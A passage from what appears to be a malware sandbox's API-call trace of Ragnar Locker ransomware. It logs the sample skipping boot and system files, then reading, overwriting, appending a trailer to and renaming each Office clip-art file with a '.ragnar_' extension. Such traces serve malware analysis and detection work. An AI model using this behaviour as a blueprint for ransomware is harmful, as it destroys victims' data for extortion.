dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.968] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15760) returned 1 [0082.968] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.968] GetProcessHeap () returned 0x580000 [0082.968] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.968] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.970] VirtualAlloc (lpAddress=0x0, dwSize=0x3d90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.970] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3d90, lpOverlapped=0x0) returned 1 [0082.971] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.972] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d90, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.972] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3d90, lpOverlapped=0x0) returned 1 [0082.972] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.972] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.972] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.972] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.972] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.972] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.972] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.972] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.972] GetProcessHeap () returned 0x580000 [0082.972] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.972] CloseHandle (hObject=0xf4) returned 1 [0082.973] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" [0082.973] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.ragnar_FD7BD9FC" [0082.973] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.973] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0082.973] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.973] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0090149.WMF" | out: lpString1="J0090149.WMF") returned="J0090149.WMF" [0082.973] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned=".WMF" [0082.973] lstrcmpiW (lpString1="J0090149.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.973] lstrcmpiW (lpString1="J0090149.WMF", lpString2="autorun.inf") returned 1 [0082.973] lstrcmpiW (lpString1="J0090149.WMF", lpString2="boot.ini") returned 1 [0082.973] lstrcmpiW (lpString1="J0090149.WMF", lpString2="bootfont.bin") returned 1 [0082.973] lstrcmpiW (lpString1="J0090149.WMF", lpString2="bootsect.bak") returned 1 [0082.973] lstrcmpiW (lpString1="J0090149.WMF", lpString2="bootmgr") returned 1 [0082.973] lstrcmpiW (lpString1="J0090149.WMF", lpString2="bootmgr.efi") returned 1 [0082.973] lstrcmpiW (lpString1="J0090149.WMF", lpString2="bootmgfw.efi") returned 1 [0082.974] lstrcmpiW (lpString1="J0090149.WMF", lpString2="desktop.ini") returned 1 [0082.974] lstrcmpiW (lpString1="J0090149.WMF", lpString2="iconcache.db") returned 1 [0082.974] lstrcmpiW (lpString1="J0090149.WMF", lpString2="ntldr") returned -1 [0082.974] lstrcmpiW (lpString1="J0090149.WMF", lpString2="ntuser.dat") returned -1 [0082.974] lstrcmpiW (lpString1="J0090149.WMF", lpString2="ntuser.dat.log") returned -1 [0082.974] lstrcmpiW (lpString1="J0090149.WMF", lpString2="ntuser.ini") returned -1 [0082.974] lstrcmpiW (lpString1="J0090149.WMF", lpString2="thumbs.db") returned -1 [0082.974] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.974] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.974] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.974] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.974] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.974] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.974] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 0x20 [0082.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.974] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28212) returned 1 [0082.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6e2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.974] GetProcessHeap () returned 0x580000 [0082.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.974] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.976] VirtualAlloc (lpAddress=0x0, dwSize=0x6e34, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.976] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.976] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.976] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6e34, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6e34, lpOverlapped=0x0) returned 1 [0082.977] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.977] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6e34, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.978] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6e34, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6e34, lpOverlapped=0x0) returned 1 [0082.978] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6e34, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.978] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.978] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.978] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.978] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.978] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.978] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.979] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.979] GetProcessHeap () returned 0x580000 [0082.979] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.979] CloseHandle (hObject=0xf4) returned 1 [0082.979] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" [0082.979] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.ragnar_FD7BD9FC" [0082.979] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.979] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0082.979] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.979] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0090390.WMF" | out: lpString1="J0090390.WMF") returned="J0090390.WMF" [0082.979] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned=".WMF" [0082.979] lstrcmpiW (lpString1="J0090390.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.979] lstrcmpiW (lpString1="J0090390.WMF", lpString2="autorun.inf") returned 1 [0082.979] lstrcmpiW (lpString1="J0090390.WMF", lpString2="boot.ini") returned 1 [0082.979] lstrcmpiW (lpString1="J0090390.WMF", lpString2="bootfont.bin") returned 1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="bootsect.bak") returned 1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="bootmgr") returned 1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="bootmgr.efi") returned 1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="bootmgfw.efi") returned 1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="desktop.ini") returned 1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="iconcache.db") returned 1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="ntldr") returned -1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="ntuser.dat") returned -1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="ntuser.dat.log") returned -1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="ntuser.ini") returned -1 [0082.980] lstrcmpiW (lpString1="J0090390.WMF", lpString2="thumbs.db") returned -1 [0082.980] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.980] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.980] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.980] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.980] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.980] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.980] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 0x20 [0082.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.981] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17638) returned 1 [0082.981] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x44dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.981] GetProcessHeap () returned 0x580000 [0082.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.982] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.983] VirtualAlloc (lpAddress=0x0, dwSize=0x44e6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.983] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.983] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.983] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x44e6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x44e6, lpOverlapped=0x0) returned 1 [0082.984] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.985] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x44e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.985] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x44e6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x44e6, lpOverlapped=0x0) returned 1 [0082.985] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x44e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.985] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x44e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.985] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.985] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.985] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.985] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.985] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.986] GetProcessHeap () returned 0x580000 [0082.986] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.986] CloseHandle (hObject=0xf4) returned 1 [0082.986] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" [0082.986] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.ragnar_FD7BD9FC" [0082.986] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.986] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0082.986] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.986] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0090777.WMF" | out: lpString1="J0090777.WMF") returned="J0090777.WMF" [0082.987] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned=".WMF" [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="autorun.inf") returned 1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="boot.ini") returned 1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="bootfont.bin") returned 1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="bootsect.bak") returned 1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="bootmgr") returned 1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="bootmgr.efi") returned 1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="bootmgfw.efi") returned 1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="desktop.ini") returned 1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="iconcache.db") returned 1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="ntldr") returned -1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="ntuser.dat") returned -1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="ntuser.dat.log") returned -1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="ntuser.ini") returned -1 [0082.987] lstrcmpiW (lpString1="J0090777.WMF", lpString2="thumbs.db") returned -1 [0082.987] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.987] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.987] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.987] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.987] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.987] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.987] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 0x20 [0082.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.988] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3332) returned 1 [0082.988] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcfb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.988] GetProcessHeap () returned 0x580000 [0082.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.988] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.989] VirtualAlloc (lpAddress=0x0, dwSize=0xd04, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.989] SetFilePointerEx (in: hFile=0xf4, 